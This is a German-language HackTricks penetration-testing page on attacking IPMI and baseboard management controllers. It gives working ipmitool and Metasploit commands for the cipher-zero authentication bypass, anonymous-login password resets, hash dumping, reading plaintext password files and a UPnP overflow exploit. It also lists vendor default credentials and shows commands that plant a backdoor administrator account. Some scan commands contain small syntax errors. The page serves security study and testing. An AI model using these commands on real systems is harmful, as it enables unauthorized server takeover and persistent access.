mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 10:33:36 +00:00
145 lines
11 KiB
Markdown
145 lines
11 KiB
Markdown
# 623/UDP/TCP - IPMI
|
|
|
|
## 623/UDP/TCP - IPMI
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie das Hacken von AWS von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
|
|
|
</details>
|
|
|
|
## Grundlegende Informationen
|
|
|
|
### **Überblick über IPMI**
|
|
|
|
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** bietet einen standardisierten Ansatz für die Fernverwaltung und Überwachung von Computersystemen, unabhängig vom Betriebssystem oder Stromzustand. Diese Technologie ermöglicht es Systemadministratoren, Systeme auch dann remote zu verwalten, wenn sie ausgeschaltet oder nicht reagierend sind, und ist besonders nützlich für:
|
|
|
|
- Konfigurationen vor dem Betriebssystemstart
|
|
- Verwaltung bei ausgeschaltetem Zustand
|
|
- Wiederherstellung nach Systemausfällen
|
|
|
|
IPMI ist in der Lage, Temperaturen, Spannungen, Lüftergeschwindigkeiten und Stromversorgungen zu überwachen und gleichzeitig Inventarinformationen bereitzustellen, Hardwareprotokolle zu überprüfen und Warnungen über SNMP zu senden. Für den Betrieb sind eine Stromquelle und eine LAN-Verbindung erforderlich.
|
|
|
|
Seit seiner Einführung durch Intel im Jahr 1998 wird IPMI von zahlreichen Anbietern unterstützt, die die Fernverwaltungsfähigkeiten verbessern, insbesondere durch die Unterstützung von Version 2.0 für Serial over LAN. Zu den wichtigsten Komponenten gehören:
|
|
|
|
- **Baseboard Management Controller (BMC):** Der Haupt-Mikrocontroller für IPMI-Operationen.
|
|
- **Kommunikationsbusse und Schnittstellen:** Für interne und externe Kommunikation, einschließlich ICMB, IPMB und verschiedenen Schnittstellen für lokale und Netzwerkverbindungen.
|
|
- **IPMI-Speicher:** Zum Speichern von Protokollen und Daten.
|
|
|
|
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
|
|
|
**Standardport**: 623/UDP/TCP (Normalerweise läuft es auf UDP, kann aber auch auf TCP laufen)
|
|
|
|
## Enumeration
|
|
|
|
### Entdeckung
|
|
```bash
|
|
nmap -n -p 623 10.0.0./24
|
|
nmap -n-sU -p 623 10.0.0./24
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
```
|
|
Sie können die Version mit folgendem Befehl **identifizieren**:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
|
```
|
|
### IPMI-Schwachstellen
|
|
|
|
Im Bereich von IPMI 2.0 wurde eine erhebliche Sicherheitslücke durch Dan Farmer entdeckt, die durch den **Chiffrentyp 0** offenbart wurde. Diese Schwachstelle, die detailliert in [Dan Farmers Forschung](http://fish2.com/ipmi/cipherzero.html) dokumentiert ist, ermöglicht unbefugten Zugriff, wenn ein gültiger Benutzer angegriffen wird, unabhängig vom eingegebenen Passwort. Diese Schwachstelle wurde bei verschiedenen BMCs von Herstellern wie HP, Dell und Supermicro gefunden, was auf ein weit verbreitetes Problem bei allen IPMI 2.0-Implementierungen hinweist.
|
|
|
|
### **IPMI-Authentifizierungsumgehung über Chiffre 0**
|
|
|
|
Um diese Schwachstelle zu erkennen, kann der folgende Metasploit-Hilfsscanner verwendet werden:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
|
```
|
|
Die Ausnutzung dieser Schwachstelle ist mit `ipmitool` möglich, wie unten gezeigt, was das Auflisten und Ändern von Benutzerpasswörtern ermöglicht:
|
|
```bash
|
|
apt-get install ipmitool # Installation command
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
|
```
|
|
### **IPMI 2.0 RAKP-Authentifizierung: Remote-Passwort-Hash-Abruf**
|
|
|
|
Diese Schwachstelle ermöglicht den Abruf von gesalzenen gehashten Passwörtern (MD5 und SHA1) für jeden vorhandenen Benutzernamen. Um diese Schwachstelle zu testen, bietet Metasploit ein Modul an:
|
|
```bash
|
|
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
|
```
|
|
### **IPMI Anonyme Authentifizierung**
|
|
|
|
Eine Standardkonfiguration in vielen BMCs ermöglicht den "anonymen" Zugriff, der durch leere Benutzernamen- und Passwortzeichenketten gekennzeichnet ist. Diese Konfiguration kann ausgenutzt werden, um Passwörter von benannten Benutzerkonten mithilfe von `ipmitool` zurückzusetzen:
|
|
```bash
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
|
```
|
|
### **Supermicro IPMI Klartext-Passwörter**
|
|
|
|
Eine kritische Designentscheidung in IPMI 2.0 erfordert die Speicherung von Klartext-Passwörtern innerhalb von BMCs zu Authentifizierungszwecken. Die Speicherung dieser Passwörter von Supermicro an Orten wie `/nv/PSBlock` oder `/nv/PSStore` wirft erhebliche Sicherheitsbedenken auf:
|
|
```bash
|
|
cat /nv/PSBlock
|
|
```
|
|
### **Supermicro IPMI UPnP-Schwachstelle**
|
|
|
|
Die Einbindung eines UPnP SSDP-Listeners in der IPMI-Firmware von Supermicro, insbesondere auf dem UDP-Port 1900, birgt ein erhebliches Sicherheitsrisiko. Schwachstellen in der Intel SDK für UPnP-Geräte Version 1.3.1, wie von [Rapid7's Offenlegung](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) detailliert beschrieben, ermöglichen den Root-Zugriff auf das BMC:
|
|
```bash
|
|
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
|
```
|
|
### Brute Force
|
|
|
|
**HP randomisiert das Standardpasswort** für sein Produkt **Integrated Lights Out (iLO)** während der Herstellung. Diese Praxis unterscheidet sich von anderen Herstellern, die tendenziell **statische Standardanmeldeinformationen** verwenden. Eine Zusammenfassung der Standardbenutzernamen und -passwörter für verschiedene Produkte wird wie folgt bereitgestellt:
|
|
|
|
- **HP Integrated Lights Out (iLO)** verwendet ein **werkseitig zufällig generiertes 8-Zeichen-Passwort** als Standardpasswort und bietet somit ein höheres Sicherheitsniveau.
|
|
- Produkte wie **Dell's iDRAC, IBM's IMM** und **Fujitsu's Integrated Remote Management Controller** verwenden leicht erratbare Passwörter wie "calvin", "PASSW0RD" (mit einer Null) bzw. "admin".
|
|
- Ebenso verwenden **Supermicro IPMI (2.0), Oracle/Sun ILOM** und **ASUS iKVM BMC** einfache Standardanmeldeinformationen, wobei "ADMIN", "changeme" bzw. "admin" als Passwörter dienen.
|
|
|
|
## Zugriff auf den Host über BMC
|
|
|
|
Administrativer Zugriff auf den Baseboard Management Controller (BMC) eröffnet verschiedene Möglichkeiten, auf das Betriebssystem des Hosts zuzugreifen. Ein einfacher Ansatz besteht darin, die Tastatur-, Video- und Mausfunktionalität (KVM) des BMC auszunutzen. Dies kann entweder durch einen Neustart des Hosts zu einer Root-Shell über GRUB (mit `init=/bin/sh`) oder durch das Booten von einer virtuellen CD-ROM als Rettungsdatenträger erfolgen. Solche Methoden ermöglichen eine direkte Manipulation der Festplatte des Hosts, einschließlich dem Einfügen von Hintertüren, der Extraktion von Daten oder anderen erforderlichen Maßnahmen für eine Sicherheitsbewertung. Dies erfordert jedoch einen Neustart des Hosts, was ein erheblicher Nachteil ist. Ohne Neustart ist der Zugriff auf den laufenden Host komplexer und variiert je nach Konfiguration des Hosts. Wenn die physische oder serielle Konsole des Hosts angemeldet bleibt, kann sie leicht über die KVM- oder Serial-over-LAN (sol)-Funktionalitäten des BMCs über `ipmitool` übernommen werden. Die Erforschung der Ausnutzung gemeinsam genutzter Hardwareressourcen wie des I2C-Busses und des Super I/O-Chips ist ein Bereich, der weitere Untersuchungen erfordert.
|
|
|
|
## Einbringen von Hintertüren in den BMC vom Host aus
|
|
|
|
Nachdem ein Host mit einem BMC kompromittiert wurde, kann die **lokale BMC-Schnittstelle genutzt werden, um einen Hintertür-Benutzeraccount einzufügen**, der eine dauerhafte Präsenz auf dem Server schafft. Dieser Angriff erfordert das Vorhandensein von **`ipmitool`** auf dem kompromittierten Host und die Aktivierung der BMC-Treiberunterstützung. Die folgenden Befehle veranschaulichen, wie ein neuer Benutzeraccount über die lokale Schnittstelle des Hosts in den BMC injiziert werden kann, wodurch die Authentifizierung umgangen wird. Diese Technik ist auf eine Vielzahl von Betriebssystemen anwendbar, einschließlich Linux, Windows, BSD und sogar DOS.
|
|
```bash
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
|
|
ipmitool user set name 4 backdoor
|
|
ipmitool user set password 4 backdoor
|
|
ipmitool user priv 4 4
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
4 backdoor true false true ADMINISTRATOR
|
|
```
|
|
## Shodan
|
|
|
|
* `port:623`
|
|
|
|
## Referenzen
|
|
|
|
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|